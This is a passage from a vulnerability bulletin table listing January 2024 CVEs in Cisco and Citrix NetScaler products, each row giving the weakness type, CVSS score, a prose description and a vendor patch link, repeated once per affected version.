Affected Version(s): 2.6\\(0.999\\)					
Improper Neutralization of Input	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco	https://sec.cloudapps.cisco.com/security/center/content/Cisco	A-CIS-IDEN-130224/277

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	SecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.7					
Improper Neutralization of Input During Web Page	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisor	A-CIS-IDEN-130224/278

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	y/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.7.0					
Improper Neutralization of Input During Web Page Generation	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated,	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/279

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.7.0.356					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/280

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.7\\(0.207\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/281

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.7\\(0.356\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/282

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.7\\(0.903\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/283

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 3.0\\(0.458\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/284

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 3.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/285

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 3.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/286

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Product: prime_infrastructure					
Affected Version(s): * Up to (excluding) 3.10.4					
N/A	17-Jan-2024	7.2	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper processing of serialized Java objects by the affected application. An attacker could exploit this vulnerability by	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/287

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			uploading a document containing malicious serialized Java objects to be processed by the affected application. A successful exploit could allow the attacker to cause the application to execute arbitrary commands. **CVE ID : CVE-2023-20258**		
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	17-Jan-2024	6.7	A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/288

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to gain the escalated privileges of the root user on the underlying operating system. **CVE ID : CVE-2023-20260**		
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	17-Jan-2024	6.5	A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected system. This vulnerability is due to improper validation of user-submitted parameters. An attacker could exploit this vulnerability by authenticating to the application and sending malicious requests to an affected system. A successful exploit could allow the attacker to obtain and modify sensitive information that is	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/289

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			stored in the underlying database. **CVE ID : CVE-2023-20271**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	4.8	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to conduct cross-site scripting attacks. This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by submitting malicious input containing script or HTML content within requests that would stored within the application interface. A successful exploit could allow the attacker to conduct cross-site scripting attacks against other users of the affected application.	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/290

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-20257		
Affected Version(s): 3.10.4					
N/A	17-Jan-2024	7.2	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper processing of serialized Java objects by the affected application. An attacker could exploit this vulnerability by uploading a document containing malicious serialized Java objects to be processed by the affected application. A successful exploit could allow the attacker to cause the application to execute arbitrary commands. **CVE ID : CVE-2023-20258**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/291

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	17-Jan-2024	6.7	A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system. **CVE ID : CVE-2023-20260**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/292
Improper Neutralization of Special Elements used in an SQL Command	17-Jan-2024	6.5	A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/293

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('SQL Injection')			(EPNM) could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected system. This vulnerability is due to improper validation of user-submitted parameters. An attacker could exploit this vulnerability by authenticating to the application and sending malicious requests to an affected system. A successful exploit could allow the attacker to obtain and modify sensitive information that is stored in the underlying database. **CVE ID : CVE-2023-20271**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	4.8	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to conduct cross-site scripting attacks. This vulnerability	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq	A-CIS-PRIM-130224/294

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by submitting malicious input containing script or HTML content within requests that would stored within the application interface. A successful exploit could allow the attacker to conduct cross-site scripting attacks against other users of the affected application. **CVE ID : CVE-2023-20257**		
Product: thousandeyes_enterprise_agent					
Affected Version(s): * Up to (excluding) 0.233.2					
N/A	17-Jan-2024	8	A vulnerability in the web-based management interface of Cisco ThousandEyes Enterprise Agent, Virtual Appliance installation type, could allow an authenticated, remote attacker to perform a command injection	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thouseyes-privesc-DmzHG3Qv	A-CIS-THOU-130224/295

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied input for the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP packet to the affected device. A successful exploit could allow the attacker to execute arbitrary commands and elevate privileges to root. **CVE ID : CVE-2024-20277**		
Product: unified_communications_manager					
Affected Version(s): * Up to (excluding) 12.5\\(1\\)su8					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to the improper processing of user-provided data that is being read into memory. An	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-UNIF-130224/296

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Affected Version(s): From (including) 14.0 Up to (excluding) 14su3					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to the improper processing of user-provided data that is being read into	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-UNIF-130224/297

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Product: unified_communications_manager_im_and_presence_service					
Affected Version(s): * Up to (excluding) 12.5\\(1\\)su8					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to the improper processing of user-	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-UNIF-130224/298

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Affected Version(s): From (including) 14.0 Up to (excluding) 14.0su3					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to the improper	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-UNIF-130224/299

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Product: unified_contact_center_express					
Affected Version(s): 12.5\\(1\\)					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-UNIF-130224/300

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Product: unity_connection					
Affected Version(s): * Up to (excluding) 12.5\\(1\\)su8					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-UNIT-130224/301

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code on an affected device. This vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Affected Version(s): From (including) 14.0 Up to (excluding) 14su3					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-UNIT-130224/302

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execute arbitrary code on an affected device. This vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Affected Version(s): * Up to (excluding) 12.5.1.19017-4					
N/A	17-Jan-2024	9.8	A vulnerability in the web-based management interface of Cisco Unity Connection could allow an unauthenticated, remote attacker to	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cuc-unauth-afu-FROYsCsD	A-CIS-UNIT-130224/303

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			upload arbitrary files to an affected system and execute commands on the underlying operating system. This vulnerability is due to a lack of authentication in a specific API and improper validation of user-supplied data. An attacker could exploit this vulnerability by uploading arbitrary files to an affected system. A successful exploit could allow the attacker to store malicious files on the system, execute arbitrary commands on the operating system, and elevate privileges to root. **CVE ID : CVE-2024-20272**		
Affected Version(s): From (including) 14.0 Up to (excluding) 14.0.1.14006-5					
N/A	17-Jan-2024	9.8	A vulnerability in the web-based management interface of Cisco Unity Connection could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system and execute	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cuc-unauth-afu-FROYsCsD	A-CIS-UNIT-130224/304

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			commands on the underlying operating system. This vulnerability is due to a lack of authentication in a specific API and improper validation of user-supplied data. An attacker could exploit this vulnerability by uploading arbitrary files to an affected system. A successful exploit could allow the attacker to store malicious files on the system, execute arbitrary commands on the operating system, and elevate privileges to root. **CVE ID : CVE-2024-20272**		
Product: virtualized_voice_browser					
Affected Version(s): 12.5\\(1\\)					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-VIRT-130224/305

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Affected Version(s): 12.6\\(1\\)					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-VIRT-130224/306

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Affected Version(s): 12.6\\(2\\)					
N/A	26-Jan-2024	10	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm	A-CIS-VIRT-130224/307

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			device. This vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device. **CVE ID : CVE-2024-20253**		
Vendor: Citrix					
Product: netscaler_application_delivery_controller					
Affected Version(s): From (including) 12.1 Up to (excluding) 12.1-55.302					
Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-	A-CIT-NETS-130224/308

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface. **CVE ID : CVE-2023-6548**	bulletin-for-cve20236548-and-cve20236549	
Improper Restriction of Operations within the Bounds of a Memory Buffer	17-Jan-2024	7.5	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service **CVE ID : CVE-2023-6549**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/309
Affected Version(s): From (including) 13.0 Up to (excluding) 13.0-92.21					
Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/310

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code execution on Management Interface. **CVE ID : CVE-2023-6548**		
Improper Restriction of Operations within the Bounds of a Memory Buffer	17-Jan-2024	7.5	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service **CVE ID : CVE-2023-6549**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/311
Affected Version(s): From (including) 13.1 Up to (excluding) 13.1-37.176					
Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface. **CVE ID : CVE-2023-6548**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/312
Improper Restriction	17-Jan-2024	7.5	Improper Restriction of	https://support.citrix.com/artic	A-CIT-NETS-130224/313

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
of Operations within the Bounds of a Memory Buffer			Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service **CVE ID : CVE-2023-6549**	le/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	
Affected Version(s): From (including) 13.1 Up to (excluding) 13.1-51.15					
Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface. **CVE ID : CVE-2023-6548**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/314
Improper Restriction of Operations within the Bounds of a Memory Buffer	17-Jan-2024	7.5	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-	A-CIT-NETS-130224/315

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-6549	and-cve20236549	
Affected Version(s): From (including) 14.1 Up to (excluding) 14.1-12.35					
Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface. **CVE ID : CVE-2023-6548**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/316
Improper Restriction of Operations within the Bounds of a Memory Buffer	17-Jan-2024	7.5	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service **CVE ID : CVE-2023-6549**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/317
Product: netscaler_gateway					
Affected Version(s): From (including) 13.0 Up to (excluding) 13.0-92.21					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface. **CVE ID : CVE-2023-6548**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/318
Improper Restriction of Operations within the Bounds of a Memory Buffer	17-Jan-2024	7.5	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service **CVE ID : CVE-2023-6549**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/319
Affected Version(s): From (including) 13.1 Up to (excluding) 13.1-51.15					
Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-	A-CIT-NETS-130224/320

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface. **CVE ID : CVE-2023-6548**	cve20236548-and-cve20236549	
Improper Restriction of Operations within the Bounds of a Memory Buffer	17-Jan-2024	7.5	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service **CVE ID : CVE-2023-6549**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/321
Affected Version(s): From (including) 14.1 Up to (excluding) 14.1-12.35					
